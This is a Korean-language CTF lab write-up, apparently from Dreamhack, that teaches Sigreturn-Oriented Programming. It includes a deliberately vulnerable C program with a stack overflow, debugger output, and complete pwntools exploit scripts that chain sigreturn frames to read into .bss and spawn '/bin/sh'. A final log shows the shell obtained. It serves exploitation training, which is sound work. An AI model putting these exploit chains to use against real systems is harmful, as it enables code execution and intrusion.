// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie
#include <unistd.h>
int gadget() {
asm("pop %rax;"
"syscall;"
"ret" );
}
int main()
{
char buf[16];
read(0, buf ,1024);
}
$ checksec srop
[*] '/home/ion/dreamhack/SROP/srop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
1. sigreturn 호출
gadget 함수 내부의 코드 가젯의 주소를 알아내고, 시스템 콜 번호화 syscall 명령어를 통해 sigreturn을 호출합니다.
2. execve 호출
sigreturn은 스택 영역에 값을 레지스터에 복사합니다. 따라서 1024 바이트를 입력할 때 sigcontext 구조체를 생성하고, execve 시스템 콜을 호출하기 위한 인잘르 모두 설정합니다.
pwntools를 이용해서 가젯의 주소를 알아내고, RAX 레지스터 값을 sigreturn 시스템 콜의 번호인 15로 조작합니다.
# Name: srop.py
from pwn import *
context.arch = "x86_64"
p = process("./srop")
elf = ELF("./srop")
gdb.attach(p)
gadget = next(elf.search(asm("pop rax; syscall")))
print(gadget)
payload = b"A"*16
payload += b"B"*8
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += b"\x00"*40 # dummy
payload += p64(0x4141414141414141)*20
p.sendline(payload)
p.interactive()
위에 코드는 BOF를 통해 RIP를 pop rax; syscall; ret 가젯의 주소로 조작하고, RAX 레지스터를 15로 조작한 익스플로잇 코드입니다.
디버깅을 해보면
gef➤ i r
rax 0x4141414141414141 0x4141414141414141
rbx 0x4141414141414141 0x4141414141414141
rcx 0x4141414141414141 0x4141414141414141
rdx 0x4141414141414141 0x4141414141414141
rsi 0x4141414141414141 0x4141414141414141
rdi 0x4141414141414141 0x4141414141414141
rbp 0x4141414141414141 0x4141414141414141
rsp 0x4141414141414141 0x4141414141414141
r8 0x4141414141414141 0x4141414141414141
r9 0x4141414141414141 0x4141414141414141
r10 0x4141414141414141 0x4141414141414141
r11 0x4141414141414141 0x4141414141414141
r12 0x4141414141414141 0x4141414141414141
r13 0x4141414141414141 0x4141414141414141
r14 0x4141414141414141 0x4141414141414141
r15 0x4141414141414141 0x4141414141414141
rip 0x4141414141414141 0x4141414141414141
eflags 0x10343 [ CF ZF TF IF RF ]
cs 0x4143 0x4143
ss 0x4143 0x4143
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0
gef➤
sigreturn 시스템 콜이 호출되어 레지스터가 "A"로 덮여쓰여졌습니다.
execve 시스템 콜 호출에 앞서, pwntools에는 SROP 공격을 수월하게 할 수 있게끔 SigreturnFrame 클래스를 제공합니다.
>>> from pwn import *
>>> context.clear(arch='amd64')
>>> frame = SigreturnFrame()
>>> frame.rdi = 0x41414141
>>> frame.rax = 59
>>> frame.rsi = 12341234
>>> print(frame)
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAA\x00\x00\x00\x00\xf2O\xbc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
SROP를 통해 read 시스템 콜을 호출하여 bss 영역에 0x1000 바이트만큼 입력받고, RSP 레지스터를 입력한 bss 영역의 주소로 바꿔 다시 한 번 리턴 주소를 조작할 수 있게끔 합니다. 그런 다음 "/bin/sh"를 인자로 execve 시스템 콜을 호출합니다.
# Name: srop.py
from pwn import *
context.arch = "x86_64"
p = process("./srop")
elf = ELF("./srop")
gadget = next(elf.search(asm("pop rax; syscall")))
syscall = next(elf.search(asm("syscall")))
read_got = elf.got['read']
_start = elf.symbols['_start']
binsh = "/bin/sh\x00"
bss = elf.bss()
frame = SigreturnFrame()
# read(0, bss, 0x1000)
frame.rax = 0 # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss
payload = b"A"*16
payload += b"B"*8
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += bytes(frame)
p.sendline(payload)
# execve("/bin/sh", 0, 0)
frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500
frame2.rdi = bss + 0x108 # "/bin/sh"
rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += b"/bin/sh\x00"
p.sendline(rop)
p.interactive()
$ python3 exploit.py
[+] Starting local process './srop': pid 459
[*] '/home/ion/dreamhack/SROP/srop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
$ ls
core exploit.py sigrt_call sigrt_call.c srop srop.c srop.py